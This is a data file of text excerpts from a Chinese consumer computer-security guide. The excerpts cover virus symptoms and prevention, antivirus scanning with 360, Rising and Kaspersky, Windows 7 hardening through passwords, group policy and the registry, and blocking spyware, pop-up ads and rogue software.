    {"text": "网络传播 在计算机日益普及的今天，人们习惯于通过网络互相传递文件和 信件，这就给病毒传播速度的加快提供了条件。 由于资源是共享的， 人们经常会在网上下载免费或共享的软件，因此病毒也难免会夹在其 中。"},
    {"text": "13.3.2 计算机中病毒后的症状 在网络时代，计算机中毒已经是不可避免的，那么怎么判断计算 机是否中毒了呢？ 其实，计算机中毒和人生病一样，也是有很多表现 的，如果计算机出现了这些表现，就基本上可以断定此计算机中毒 了。 系统无法启动 有些病毒能够更改硬盘的引导信息或者删除某些启动文件，甚至 破坏了BIOS，例如CIH病毒，导致系统无法正常启动。 死机现象 计算机感染了病毒后，它们在运行时会同时运行很多程序，或是 进行大量自我复制，或是通过邮件和QQ等交流工具大量发送传播，耗 尽系统资源，从而导致计算机出现死机现象。 文件无法打开或打开是乱码 有些病毒会对相应文件的格式进行更改，用户再次双击该文件时 Windows找不到相应的关联程序，导致文件无法打开或者打开的文件是 乱码。 系统经常提示内存不足 很多病毒运行时要占用大量的内存资源，系统检测到内存资源减 少就会有相应的信息提示。 经常提示硬盘空间不足 大多数的病毒具有传染性的特征，会自我复制大量的病毒文件， 从而占用大量的磁盘空间，导致Windows系统提示硬盘空间不足。 出现大量来历不明的文件 很多病毒在电脑中复制了大量的文件，这些文件名称都是用户未 见过的，这可能是病毒的变种，或者是病毒入侵系统时留下的垃圾文 件。 数据突然丢失 硬盘中突然有大量数据丢失，这很可能是因为病毒具有删除文件 的破坏性，对硬盘中的文件进行删除，从而使大量文件消失，也有可 能是病毒可以加密隐藏文件，把硬盘中的文件加密隐藏了，以便病毒 作者敲诈勒索。 计算机运行速度很慢 计算机的运行速度很慢，开机、关机速度都很慢，很有可以是病 毒运行占用了大量的系统资源，从而使计算机的运行速度变慢。 系统自动加载某些程序 系统在启动时加载一些用户不清楚的程序，这是因为病毒为了随 系统启动而自动运行，修改了注册表的键值，自动在后台运行某些程 序。 系统经常出现错误提示 经常弹出“内存不能为只读”或“系统出现严重错误”等错误提 示，这很可能是病毒破坏了系统文件，造成系统错误。 浏览网页时弹出莫名其妙的网页 在浏览网页是经常弹出一些莫名其妙的网页，并且在浏览一些比 较正规的网站，例如新浪、百度等网站时也弹出这些莫名其妙的网 页，很可能是由于病毒劫持了浏览器而造成的。 浏览器的主页莫名其妙地被更改 在用户不知情的情况下，浏览器的主页被更改为莫名其妙的网 页，很可能是病毒为了方便到该网站下载更多的病毒，将用户浏览器 的主页更改了。 杀毒软件被关闭且不能启动 杀毒软件自动停止运行，并且用户不能手动启动，这可能是病毒 为了逃避杀毒软件的查杀，终止并限制了杀毒软件的运行。"},
    {"text": "13.3.3 计算机病毒的防范 随着计算机技术的发展以及网络的普及，由于利益的驱使，越来 越多的计算机病毒开始在网上流传开来。 为了更好地防范计算机病 毒，下面列出了一些病毒防范的基础措施，以帮助用户更好地了解如 何防范计算机病毒。 1. 通用的防范措施 为了更好地防范一般的计算机病毒，用户应该从养成良好的安全 习惯和安装带有防护功能的杀毒软件两方面开始入手。 ① 养成及时下载最新系统安全漏洞补丁的安全习惯，从根源上杜 绝黑客利用系统漏洞攻击用户计算机的现象发生。"},
    {"text": "⑤ 在上网过程中要注意加强自我保护，避免访问不安全、陌生、 非法网站等，这些网站往往嵌入了恶意代码，一旦用户打开其页面， 即会被植入木马与病毒。"},
    {"text": "2. 即时通讯工具防范措施 ① 提高警惕，请勿随意点击QQ等一些即时通讯工具中给出的链 接，确认消息来源，并克服一定的好奇心理。 ② 通过即时通讯工具等途径接收文件在打开前，请先进行病毒查 杀。 ③ 不要轻易接收通过QQ等发送的来历不明的文件，即便是QQ好友 发来的文件也要谨慎，尤其是扩展名为*.zip、*.rar等格式的文件， 避免病毒从即时聊天工具传播进来。 3. 蠕虫类病毒防范措施 ① 在打开邮件附件或链接前，首先确定邮件来源，并确认文件后 缀名是否正确，以免被虚假后缀欺骗。 ② 设置网络共享账号和密码时，尽量不要使用空密码和常见字符 串，如 guest、user、administrator等，密码最好超过八位，且尽量 复杂化。 ③ 在运行通过网络共享下载的文件或软件程序之前，建议先进行 病毒查杀，以免中毒。 ④ 接收到不明来历的邮件时，请不要随意打开其中给出的链接以 及附件，以免中毒。"},
    {"text": "4. 网上交易等的防范措施 ① 在登录电子银行实施网上查询交易时，尽量选择安全性相对较 高的USB证书认证方式。 不要在公共场所，如网吧，登录网上银行等一 些金融机构的网站，防止重要信息被盗。"},
    {"text": "③ 不要随便点击陌生网站，如果遇到银行系统升级要求更改用户 密码或输入用户密码等要求，一定要提前确认。 如果用户不幸感染了 病毒，除了用相应的措施查杀病毒外，也要及时和银行联系，冻结账 户，并向公安机关报案，把损失减少到最低。 ④ 在登录一些金融机构，如银行、证券类的网站时，应直接输入 其域名，不要通过其他网站提供的链接进入，因为这些链接可能将导 入虚假的银行网站。"},
    {"text": "13.4 病毒的查杀 电脑中安装杀毒软件后，可以对入侵电脑的病毒进行拦截和查 杀。 下面详细介绍几款杀毒软件以供用户选择。 13.4.1 360杀毒软件查杀病毒 360杀毒是360安全中心出品的一款免费的云安全杀毒软件，具有 查杀率高、资源占用少、升级迅速等优点。 同时，360杀毒可以与其他 杀毒软件共存，是一个理想杀毒备选方案。 360杀毒软件是目前应用最广泛的杀毒软件之一，它整合了国际知 名杀毒软件BitDefender（比特梵德）病毒查杀引擎和国际权威杀毒引 擎小红伞、360 QVM人工智能引擎、360系统修复引擎、以及360安全中 心潜心研发的云查杀引擎。"},
    {"text": "360 杀毒还可以在第一时间防御新出现的病毒、木 马，并且完全免费，无需激活码，轻巧快速不卡机，适合中低端机 器。 360 杀毒采用全新的“SmartScan”智能扫描技术，使其扫描速度 非常快，能为用户的电脑提供全面保护。 下面便详细介绍如何使用360杀毒软件对计算机进行杀毒，具体的 操作步骤如下。 1 下载并安装360杀毒软件，选择【开始】 【所有程序】 【360安全中心】 【360杀毒】 【360杀毒】菜单项，或者在桌 面上双击【360杀毒】图标 ，打开【360杀毒】主界面，用户可以 根据需要选择进行快速扫描或者全盘扫描，这里单击【快速扫描】按 钮 。 2 在弹出的界面中360杀毒软件便开始对磁盘进行扫描了，并显示 扫描的进度。 3 扫描完成后，若发现病毒，在打开的【病毒查杀】界面中会提 示扫描出的病毒个数，并在下方的列表框中列出来，选择左下角的 【全选】复选框，然后单击 按钮进行处理。 4 处理完成后，在打开的界面中会提示已经成功处理所有安全威 胁，单击右下角的 按钮即可。 13.4.2 瑞星杀毒软件2012查杀病毒 瑞星杀毒软件2012采用瑞星最新研发的变频杀毒引擎为核心，在 很大程度上保证了计算机的安全，又大大降低了对资源的占用量，为 用户提供了全新安全软件体验。 瑞星杀毒软件2012的主要功能如下。 ① 瑞星变频杀毒技术：智能检测电脑资源占用，自动分配杀毒时 占用的系统资源，既保障计算机的正常使用，又保证了计算机的安 全。 ② 瑞星云查杀：大大降低了对用户计算机资源的占用，杀毒速度 快速提升，无需升级即可查杀最新病毒。 ③ 网购保护：在用户进行网上购物、支付、访问网银等操作时自 动进行保护，防止黑客、木马病毒等对用户网上银行财产产生威胁， 确保网购安全。 ④ 智能、安全上网：通过智能反钓鱼、安全搜索、木马下载拦 截、家长控制、ADSL带宽管家等大量新增功能，保证用户安全、绿 色、智能上网。"},
    {"text": "下面便详细介绍使用瑞星2012杀毒软件对计算机进行杀毒的具体 步骤。 1 下载并安装瑞星杀毒软件，双击桌面上的【瑞星杀毒软件】图 标 ，打开其主界面，用户可以根据需要选择快速查杀、全盘查杀 或者自定义查杀选项，这里单击【全盘查杀】按钮 。 2 切换到【全盘查杀】界面，对全盘进行病毒的扫描查杀，该过 程可能需要很长一段时间，对于扫描到的病毒等危险文件，会在下方 的列表框中罗列出来，并对其进行处理。 3 查杀完成后，会提示查杀的病毒个数，单击右上角的【返回】 按钮返回主界面即可。"},
    {"text": "下面详细介绍如何卡巴斯基 安全部队2013的主要功能和查杀病毒的方法。 1. 卡巴斯基安全部队2013的主要功能 卡巴斯基安全部队 2013 采用复合式防御技术，结合了实时高效 的云技术与强大的计算机本地安全技术，能够迅速响应和应对当今日 趋复杂、不断演化的恶意威胁。"},
    {"text": "为了进一步增强安全性，安全支付还配备了安全键 盘，让用户通过屏幕上的键盘输入信用卡卡号和密码，避免键盘记录 恶意软件通过物理键盘窃取用户输入的机密信息。"},
    {"text": "实时防御各种病毒和互联网威胁 卡巴斯基安全部队 2013 使用实时、主动防御及云技术，可以检 测新型和未知威胁。 卡巴斯基实验室能够从云端获取实时数据，时刻 保护用户的安全。 此外，卡巴斯基安全网络拥有从用户系统上收集到 的威胁数据，这些数据可以保护用户的系统免受可疑活动的侵扰。"},
    {"text": "基于此，卡巴斯基实验室开发出一项全 新的自动漏洞入侵防护技术，该技术能够拦截当前已知和未知的漏洞 利用程序以及能够利用“零日漏洞”进行攻击的恶意软件。"},
    {"text": "卡巴 斯基安全部队 2013 采用了全新的反垃圾邮件引擎，能够同电子邮件 客户端无缝整合，有效对抗垃圾邮件的威胁。 识别可疑及钓鱼网站 卡巴斯基安全部队 2013在防止可疑或钓鱼网站上有着卓越的保护 能力。"},
    {"text": "2. 使用卡巴斯基查杀病毒 卡巴斯基安全部队2013采用最新的反病毒引擎，能够高效地查杀 各类恶意程序。 下面便详细介绍使用卡巴斯基安全部队2013查杀病毒 的具体步骤。 1 下载并安装卡巴斯基安全部队2013杀毒软件，双击桌面上的 【卡巴斯基安全部队2013】图标 ，打开其主界面，在下方的列表 框中单击【智能查杀】按钮。 2 切换到【智能查杀】界面，在下方的列表框中列出了全盘扫 描、漏洞扫描和关键区域扫描3种扫描方式，这里单击【全盘扫描】下 方的 按钮。 3 弹出【任务管理器】对话框，卡巴斯基安全部队 2013 杀毒软 件开始对用户的全部硬盘进行扫描。"},
    {"text": "4 在扫描过程中，如果发现病毒等恶意程序，就会在桌面的右下 角弹出提示对话框，提示病毒等恶意程序的路径、名称及其处理方 式，若用户想要查看该恶意程序的详细处理信息，单击下方的【详细 信息】超链接。 5 弹出【详细报告】窗口，会自动切换到【扫描】界面，在右侧 的【扫描】列表框中列出了所有扫描到的病毒信息，选择想要查看的 病毒选项，在下方的列表框中会列出该病毒的详细处理信息。"},
    {"text": "高手过招 使用360安全卫士加快开机速度 系统在启动时，会自动加载程序和服务，对于一些不必要的程序 或服务，用户可以通过360安全卫士进行优化，以加快开机速度，从而 提高系统的整体性能。"},
    {"text": "1 按照前面所介绍的方法打开 360 安全卫士主界面，选择【优化 加速】选项。 2 切换到【一键优化】界面，系统自动进行扫描，扫面完成后， 在下方的列表框中选择不需要开机启动的项目，单击 按 钮。 3 清理完成后，在弹出的界面会提示已优化完成。 4 用户也可以手动进行优化，切换到【启动项】选项卡，分别对 【启动项】、【计划任务】、【应用软件服务】和【系统关键服务】 界面中的启动项进行优化，对于不需要开机启动的项目，直接单击其 右侧的 按钮即可。"},
    {"text": "1 首先下载 Windows 优化大师并将其安装到电脑中，然后单击其 主界面，在左侧的窗格中切换到【开始】 【首页】选项，在右侧 的窗格中用户可以分别单击 和 按钮进行系统优 化和系统垃圾清理。 2 在清理系统垃圾过程中，会多次弹出【Windows 优化大师】对 话框，提示是否要删除扫描到的垃圾、历史痕迹和冗余的注册表，单 击 按钮即可。"},
    {"text": "第6篇 建立安全防御体系 作为普通的计算机用户，要尽量建立一个完善的防御体系来防御 黑客的攻击，将损失降到最低。 第14章 提升系统防御性能 第15章 网络安全防御 第14章 提升系统防御性能 用户除了使用专业的软件对黑客的攻击进行防御外，也可以通过 对系统的各种设置来提升计算机的防御性能。 本章将详细介绍通过设 置 Windows 7操作系统、系统组策略和注册表等知识，来帮助用户提 高防御黑客攻击的水平。"},
    {"text": "14.1 设置Windows 7操作系统 在Windows 7操作系统中，用户可以进行一些基本的设置，能够对 黑客攻击起到一定的防御作用。 14.1.1 系统加密 黑客在对用户计算机进行攻击时，往往首先需要获得具有管理员 权限的用户账户和密码，然后才能够在入侵的计算机中进行具有管理 员权限的相关操作，以进行破坏活动。"},
    {"text": "1. 设置BIOS密码 设置BIOS密码是保护计算机安全的有效措施之一。 为BIOS设置密 码可以防止非法用户使用自己的计算机，保护计算机中数据的安全。 设置BIOS密码具体步骤如下。"},
    {"text": "1 启动计算机，按照屏幕左下角的提示，按下键盘上的【Del】 键。 2 随即进入BIOS设置界面，多次按下键盘上的【↓】方向键，使 其选择【Advanced BIOS Features】选项，然后按下【Enter】键。 3 进入【Advanced BIOS Features】设置界面，多次按下键盘上 的【↓】方向键，使其选择【Security Option】右侧的选项，然后按 下【Enter】键。 4 弹出【Security Option】对话框，按照同样的方法选择 【System】选项，然后按下【Enter】键。 5 返回【Advanced BIOS Features】设置界面，可以看到 【Security Option】右侧已变为【System】选项，然后按下【Esc】 键。 6 返回BIOS设置主界面，利用键盘上的方向键选择右侧列表框中 的【Set Password】选项，然后按下【Enter】键。"},
    {"text": "7 在弹出的对话框中，用户需要设置一个密码，输入完成后，按 下【Enter】键。 8 随即进入下一界面，系统会要求用户再次输入密码确认，在打 开的对话框中再次输入密码，然后按下【Enter】键。"},
    {"text": "9 返回BIOS设置主界面，按下【F10】键，在打开的对话框中输入 “y”，然后按下【Enter】键保存设置，稍后计算机会自动重启。 10 计算机重新启动后，如果想要继续启动计算机或者进入 BIOS 设置界面，就需要输入正确的密码。"},
    {"text": "2. 设置登录密码 登录密码是指使用某个账户登录到操作系统时所使用的密码，它 为用户的计算机提供了一种安全保护，可以使其免受非法用户的使 用，从而保护计算机中数据的安全。"},
    {"text": "1 单击桌面左下角的【开始】按钮 ，在弹出的【开始】菜单 中选择【控制面板】选项。 2 弹出【控制面板】窗口，单击【用户账户和家庭安全】超链 接。 3 打开【用户账户和家庭安全】窗口，单击右侧列表框中的【用 户账户】超链接。 4 打开【用户账户】窗口，在右侧列表框的【更改用户账户】组 合框中单击【为您的账户创建密码】超链接。 5 随即打开【创建密码】窗口，在下方的【新密码】和【确认新 密码】文本框中输入正确的密码，然后单击 按钮。"},
    {"text": "1 按照前面所介绍的方法打开【用户账户】窗口，在右侧的【更 改用户账户】组合框中单击【管理其他账户】超链接。 2 打开【管理账户】窗口，在下方的【选择希望更改的账户】组 合框中选择【Guest】账户选项。 3 打开【更改来宾选项】窗口，单击【关闭来宾账户】超链接关 闭Guest账户即可。"},
    {"text": "14.1.3 关闭多余的开机启动项 某些软件或者一些恶意程序在安装完成后会自动添加到计算机的 启动项中，随着操作系统的启动而自动运行，这样计算机的启动速度 会变慢。 因此，为了加快系统的启动速度，用户可以通过设置将多余 的开机启动项关闭，具体的操作步骤如下。"},
    {"text": "1 单击【开始】按钮 ，在弹出的【开始】菜单中的【搜索】 文本框中输入“msconfig.exe”，然后按下【Enter】键。 2 弹出【系统配置】对话框，切换到【启动】选项卡，在下方的 列表框中撤销选择不需要开机启动的选项，然后单击 按 钮。 3 弹出【系统配置】提示对话框，提示用户要应用这些更改需要 重新启动计算机，这里选择【不再显示此信息】复选框，然后单击 按钮即可。"},
    {"text": "14.1.4 启用密码保护共享 随着网络的逐渐普及，资源的共享也被越来越多的用户所熟识。 资源的共享不仅给用户带来了方便，但是同时，很多的网络攻击者也 会利用这些共享漏洞进行攻击。 因此，用户可以通过启用密码保护共 享功能来保护共享文件。"},
    {"text": "1 在桌面上的【网络】图标 上单击鼠标右键，在弹出的快捷 菜单上选择【属性】菜单项。 2 打开【网络和共享中心】窗口，在左侧的窗格中单击【更改高 级共享设置】超链接。 3 打开【高级共享设置】窗口，在当前网络所属网络类型的右侧 单击【扩展】按钮 。 4 在打开的扩展内容中找到【密码保护的共享】组合框，在下方 选中【启用密码保护共享】单选钮，其他保持默认设置，然后单击 按钮即可。"},
    {"text": "14.2.1 启动组策略 要实现系统组策略的设置，用户首先需要启动组策略。 在Windows 7操作系统中，组策略是随着系统的安装便存在了，所以用户可以直接 进行启动。 启动组策略的具体步骤如下。"},
    {"text": "1 在桌面上，单击左下角的【开始】按钮 ，弹出【开始】菜 单，在【搜索】文本框中输入“gpedit.msc”，然后按下【Enter】 键。 2 随即打开【本地组策略编辑器】窗口，如果用户想要更改计算 机的某些设置，只需要在该窗口中查找并选中相应选项，然后进行设 置即可。"},
    {"text": "1 首先按照前面所介绍的方法，在【开始】菜单的【搜索】文本 框中输入“gpedit.msc”，然后按下【Enter】键打开【本地组策略编 辑器】窗口。 在左侧的窗格中通过多次单击 符号，依次展开【本 地计算机策略】 【计算机配置】 【Windows设置】 【安全 设置】 【账户策略】选项。 2 在展开的选项中选择【密码策略】选项，随即在右侧窗格中可 以看到6个密码策略，用户可以双击相应的密码策略选项来进行设置。"},
    {"text": "这里双击【密码长度最小值】选项。 3 弹出【密码长度最小值属性】对话框，默认切换到【本地安全 设置】选项卡，在【密码必须至少是：】微调框中输入合适的数值， 这里输入“6”，然后单击 按钮。"},
    {"text": "4 随即返回到【本地组策略编辑器】窗口，在右侧的窗格中，用 户还可以对剩余的5个密码策略选项进行设置。 全部设置完成后，关闭 【本地组策略编辑器】窗口即可。"},
    {"text": "14.2.3 设置用户权限 当有多个用户共用一台计算机时，管理员用户可以为计算机中的 多个用户设置不同的权限级别，不同的用户所能够进行的操作权限也 就不同了。"},
    {"text": "1 首先按照前面所介绍的方法打开【本地组策略编辑器】窗口， 在左侧的窗格中依次展开【本地计算机策略】 【计算机配置】 【Windows设置】 【安全设置】 【本地策略】选项，然后选择 【用户权利分配】选项，在右侧窗格中看到多个与此策略相关的选 项，从中找到并双击【创建全局对象】选项。 2 弹出【创建全局对象属性】对话框，并默认切换到【本地安全 设置】选项卡，然后单击下方的 按钮。"},
    {"text": "4 弹出【选择用户或组】高级设置对话框，单击 按 钮，在下方的【搜索结果】列表框中列出了所有的用户或组，选择一 个要设置为全局权限的用户或组，然后单击 按钮。"},
    {"text": "5 返回【选择用户或组】对话框，在【输入对象名称来选择（示 例）】文本框中可以看到刚才选择的用户或组，单击 按 钮。 6 返回【创建全局对象属性】对话框，可以发现相应的用户或组 的名称被添加到列表框中了，单击 按钮即可。 如果用户 想要将某个用户的权限加以限制的话，可以在下方的列表框中选中该 用户名称，然后单击 按钮即可。"},
    {"text": "14.2.4 设置Administrator账户 默认情况下，系统管理员账户的名称为Administrator，是用户在 安装操作系统时预置的账户，并不需要用户创建。 如果用户在安装操 作系统时没有设置该账户的密码，当进入到登录系统界面时，则只需 要单击该账户图标链接即可进入操作系统。"},
    {"text": "1. 更改管理员账户名称 由于Administrator这个名称是Windows默认的，所以网络攻击者 往往会利用目标计算机系统中的漏洞通过该账户登录到用户的计算 机，从而做出一些侵害用户权益的行为。"},
    {"text": "1 首先按照前面所介绍的方法打开【本地组策略编辑器】窗口， 在左侧的窗格中依次展开【本地计算机策略】 【计算机配置】 【Windows设置】 【安全设置】 【本地策略】选项，然后选择 【安全选项】选项，在右侧窗格中看到多个与此策略相关的选项，从 中找到【账户：重命名系统管理员账户】选项，在其上单击鼠标右 键，然后从弹出的快捷菜单中选择【属性】菜单项。 2 弹出【账户：重命名系统管理员账户属性】对话框，并默认切 换到【本地安全设置】选项卡，在下方的文本框中输入更改后的名 称，这里输入“manager”，然后单击 按钮即可。 2. 禁用管理员账户 为了更好地保护自己的计算机系统，用户有必要先创建一个拥有 与 Administrator 账户一样权限的账户，然后将Administrator账户 禁用。"},
    {"text": "1 首先按照前面所介绍的方法打开【本地组策略编辑器】窗口， 在左侧的窗格中依次展开【本地计算机策略】 【计算机配置】 【Windows设置】 【安全设置】 【本地策略】选项，在下方展 开的列表中选择【安全选项】选项，然后在右侧的窗格中找到并双击 【账户：管理员账户状态】选项。 2 弹出【账户：管理员账户状态属性】对话框，默认切换到【本 地安全设置】选项卡，选中【已禁用】单选钮，然后单击 按钮即可。"},
    {"text": "14.3 设置注册表 注册表在Windows 7系统中起着举足轻重的作用，很多恶意程序和 病毒大都是通过修改注册表进行攻击的，通过设置注册表能够降低黑 客攻击的可能性。 14.3.1 禁止远程修改注册表 默认情况下，Windows 7是允许远程修改注册表的，这样远程用户 就可以修改本地计算机上的注册表了。 但是，开启注册表的远程修改 功能并不是一个明智之举，因为网络上的攻击者很有可能会利用该功 能进行攻击，因此通常需要禁止远程修改注册表，具体的操作步骤如 下。 1 单击桌面左下角的【开始】按钮 ，随即弹出【开始】菜 单，在【搜索】文本框中输入“regedit.exe”，然后按下【Enter】 键。 2 打开【注册表编辑器】窗口，在左侧的窗格中依次展开【 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Contro l\\SecurePipeServers】注册表项，选择下方展开的【winreg】选项， 然后在右边窗格的空白处中单击鼠标右键，从弹出的快捷菜单中选择 【新建】 【DWORD（32-位）值】菜单项。 3 随即在右侧的窗格中新建一个子键，将其重命名为 “RemoteRegAccess”，输入完成后，按下【Enter】键，然后双击该 子键。 4 随即弹出【编辑DWORD（32位）值】对话框，在下方的【数值数 据】文本框中输入“1”，然后单击 按钮即可。"},
    {"text": "14.3.2 限制密码格式 限制密码格式是指在注册表中对密码格式进行设置，使用户使用 的密码不能为空，只能是字母、数字或者是两者的组合，从而达到设 置安全密码的目的。"},
    {"text": "1 首先按照前面所介绍的方法打开【注册表编辑器】窗口，在左 侧的窗格中依次展开【HKEY_LOCAL_MACHINE\\SOFTWARE\\ Microsoft\\ Windows\\CurrentVersion\\policies】注册表项，然后在【policies】 选项上单击鼠标右键，从弹出的快捷菜单中选择【新建】 【项】 菜单项。"},
    {"text": "14.3.3 清理 IE地址栏中的网址 某些软件或恶意网站中代码会在IE浏览器的工具栏中添加一些莫 名的快捷图标，或者在地址栏中添加许多陌生的网址，而这些网址并 不是用户访问过的，因此，非常有必要将其清除。"},
    {"text": "1 首先按照前面所介绍的方法打开【注册表编辑器】窗口，在左 侧的窗格中依次展开【HKEY _CURRENT_USER\\Software\\ Microsoft\\ Internet Explorer】注册表项，在展开的选项中选择【Toolbar】选 项，然后在右侧的窗格中双击【LinksFolderName】选项。"},
    {"text": "3 按照第一步中的方法展开【Internet Explorer】选项，在展开 的选项中选择【TypedUrls】选项，随即在右侧的窗格中列出了IE浏览 器地址栏中的网址，选择想要删除的网址所对应的选项，然后在其上 单击鼠标右键，从弹出的快捷菜单中选择【删除】菜单项即可。"},
    {"text": "高手过招 锁定计算机 在使用Windows 7操作系统工作时，有时会需要锁定计算机，当计 算机被锁定后，用户只有重新登录才能够使用，从而保证了计算机的 安全。 锁定计算机的具体的方法是：首先单击桌面左下角的【开始】按 钮 ，在弹出的【开始】菜单中单击 按钮右侧的 按钮，在 弹出的快捷菜单中选择【锁定】菜单项，随即系统会自动进行锁定， 在打开的界面中可以看到该用户被锁定了，若需要重新打开桌面，则 单击锁定的用户图标，在文本框中输入正确的密码，然后按下 【Enter】键即可。 禁用注册表编辑器 注册表编辑器是Windows 7系统中最为重要的功能之一，几乎所有 的计算机硬件设备、软件程序以及用户设置等都要将一些数据写进注 册表。"},
    {"text": "1 首先按照前面所介绍的方法打开【本地组策略编辑器】窗口， 在左侧的窗格中依次展开【本地计算机策略】 【用户配置】 【管理模板】选项，然后选择【系统】选项，在右侧窗格中找到并双 击【阻止访问注册表编辑工具】选项。 2 弹出【阻止访问注册表编辑工具】对话框，选中【已启用】单 选钮，其他保持默认设置，然后单击 按钮即可。"},
    {"text": "对于普通的用户来说，认识一些黑客常用的软件和学会一些简单 的网络防御工具，对于提高网络安全也很有用的。 下面将介绍一些黑 客的常用软件和网络防御工具的相关知识。"},
    {"text": "15.1 阻止间谍软件 间谍软件是一种能够生存在计算机的各种普通文件中，并且在用 户不知情的情况下，能够在计算机上安装后门、收集用户信息的恶意 软件。 15.1.1 认识间谍软件 间谍软件会在用户的计算机上安装后门和收集用户信息。"},
    {"text": "用户的 隐私数据和重要信息会被“后门程序”捕获，并被发送给黑客、商业 公司等。 甚至通过这些“后门程序”，用户的计算机会被远程操纵， 最终会组成一个庞大的“僵尸网络”。"},
    {"text": "正如同名字所暗示的 一样，它通常被泛泛的定义为从计算机上搜集信息，并在未得到该计 算机用户许可时便将信息传递到第三方的软件，包括监视击键、搜集 机密信息（密码、信用卡号、PIN码等）、获取电子邮件地址和跟踪浏 览习惯等。"},
    {"text": "间谍软件之所以成为灰色区域，主要因为它是一个包罗万象的术 语，包括很多与恶意程序相关的程序，而不是一个特定的类别。 大多 数的间谍软件定义不仅涉及广告软件、色情软件和风险软件程序，还 包括许多木马程序，如Backdoor Trojans、Trojan Proxies 和 PSW Trojans等。"},
    {"text": "15.1.2 防御间谍软件 作为普通计算机用户，可以通过下面几种方法来降低感染间谍软 件的几率，创造一个干净的网络环境。 及时安装操作系统补丁 当微软发布Windows 7补丁后，应及时下载并更新，这样可以提高 系统的安全等级系数，从而降低被间谍软件侵入的风险。 使用反间谍软件 安装有效的反间谍软件，使用该软件对系统进行彻底地扫描和清 理，如Windows Defender、SuperAntiSpyware和CounterSpy等；"},
    {"text": "不要轻易下载共享或免费的软件 用户在浏览网页过程中，不要轻易下载安装共享或免费软件，特 别是 ActiveX 插件，这些软件里往往含有广告程序、间谍软件等不良 软件，可能给用户带来安全风险。 除非这些软件是用户所熟悉的或是 已经确认不会构成威胁的，这样可以在一定程度上从源头上防范间谍 软件的入侵。 尽量使用非IE浏览器 IE浏览器在设计上存在诸多可被间谍软件利用的漏洞，从而使之 成为间谍软件的帮凶。 因此应尽量使用其他安全性比较好的浏览器， 如Firefox和Opera等，可以避免很多网页恶意代码。"},
    {"text": "15.1.3 SuperAntiSpyware反间谍软件 SuperAntiSpyware是一款功能强大的反间谍木马工具，能够有效 检测并清除各种间谍软件、广告软件、有害软件、特洛伊木马程序、 自动拨号软件、蠕虫病毒、键盘记录器、劫持程序及其他类型的威 胁。"},
    {"text": "其内置简体中文使用语言，操作简单方便，兼容性比较好，可以 配合专业杀毒软件使用，并提供主页保护功能，可以保护IE浏览器主 页免受恶意插件劫持并篡改。"},
    {"text": "1. 安装SuperAntiSpyware反间谍软件 SuperAntiSpyware作为一款国外软件，其安装界面是英文显示 的，但是整个安装过程比较简单。 下面便详细介绍安装 SuperAntiSpyware反间谍软件的具体步骤。 1 首先下载SuperAntiSpyware反间谍软件到计算机中，然后找到 该软件的安装文件并双击其图标 。 2 弹出SuperAntiSpyware反间谍软件的安装对话框，在欢迎界面 的下方单击 按钮。"},
    {"text": "4 进入【用户信息和注册】界面，该软件提供了免费和付费两个 版本，有序列号的用户可以在下方的文本框中输入产品序列号将产品 升级为付费版，没有序列号的用户可以采用默认设置，然后单击 按钮。"},
    {"text": "7 随后进入该软件的配置选项界面，用户可以根据需要选择产品 语言设置选项以及检查最近的病毒库更新、启用自动更新（仅付费版 用户可用）和提交系统分析报告等选项，然后单击 按钮。"},
    {"text": "10 如果用户在配置选项界面中选择了检查最近的病毒库更新选 项，安装完成后，则会自动弹出【定义更新】对话框，自动对该软件 进行在线更新。"},
    {"text": "设置显示语言为中文 在安装 SuperAntiSpyware 过程中，如果用户设置了显示语言为 中文，但是在打开的该软件的主界面仍是英文显示，这时用户就需要 设置该软件的产品语言为中文显示。"},
    {"text": "开启主页保护功能 对于免费版的用户来说，SuperAntiSpyware的实时防护是不可用 的，但是该软件还提供了一个可用的主页保护功能，它可以保护用户 的IE浏览器的主页，防止间谍软件或者恶意插件在未经用户授权的情 况下擅自修改系统主页。 开启主页保护功能的具体方法是：按照前面所介绍的方法进入 【Scanning and Program Preferences】界面，切换到【劫持保护】 选项卡，在下方【主页保护】组合框中选择【主页改变时显示通知】 和【保护您的主页不被改变，只能在这里改变】复选框，然后在下方 的文本框中输入正确的主页网址即可。"},
    {"text": "扫描间谍软件 SuperAntiSpyware 的电脑扫描功能包括快速扫描、关键位置扫 描、完整扫描和自定义扫描四种，此外还提供了一个仅在高危系统中 才能使用的恢复扫描。"},
    {"text": "4 扫描完成后，会自动弹出【超级反间谍 扫描情况】对话框，显 示出检测到的可疑有害程序的数目，建议用户对其进行隔离移除，单 击 按钮。 5 返回扫描界面，单击有下角的 按钮进行有害程序 的隔离移除操作即可。 6 随即进入隔离清除界面，该软件对扫描到的有害程序的隔离移 除，操作完成后，自动弹出提示对话框，提示用户已经隔离移除完 成，是否要重新启动计算机，这里单击 按钮重新启动计 算机即可。"},
    {"text": "15.2 阻止恶意网络广告 在登录网站时总会遇到一些令人心烦的广告，有的随着鼠标的移 动而移动，有的会自动播放音频，甚至有的被黑客利用，严重影响了 用户的正常操作。"},
    {"text": "1 首先下载并安装Maxthon（傲游）浏览器到自己的计算机上，然 后在桌面上双击【傲游浏览器】图标 。 2 打开浏览器的主窗口，在窗口的右下角单击【广告猎手】图标 ，在弹出的快捷菜单中选择【启用弹窗拦截】和【过滤本站广 告】选项即可。 3 当在浏览网页过程中，如果打开的网页中含有弹出式的广告， 则傲游浏览器会自动进行拦截，并在窗口的右下角显示出【弹窗拦 截】图标，单击该图标，在弹出的列表框中会列出所拦截的广告网 址。"},
    {"text": "1 首先下载并安装Ad Killer到自己的计算机上，打开 IE浏览 器，随即弹出【Internet Explorer安全】对话框，提示是否启用Ad Killer软件，选择【不再对此程序显示此警告】复选框，然后单击 按钮。"},
    {"text": "5 弹出【AddURL】对话框，在下方的文本框中输入需要阻止的网 址，然后单击 按钮。 6 返回主窗口，在【Black Page List】列表框中即可看到添加的 需要阻止的网址。"},
    {"text": "15.3 阻止流氓软件入侵 流氓软件是介于正规软件和病毒之间，同时具备下载、媒体播放 等正常功能和弹出广告、打开开后门等恶意行为，给用户的正常工作 和安全带来危害。 15.3.1 认识流氓软件 用户可以通过流氓软件的定义、特点和分类等3方面对其进行认 识。 1. 流氓软件的定义 流氓软件其实起源于国外的“Badware”一词，在著名的网站上， 对“Badware”的定义为：是一种跟踪用户上网行为并将用户的个人信 息反馈给“躲在阴暗处的”市场利益集团的软件。"},
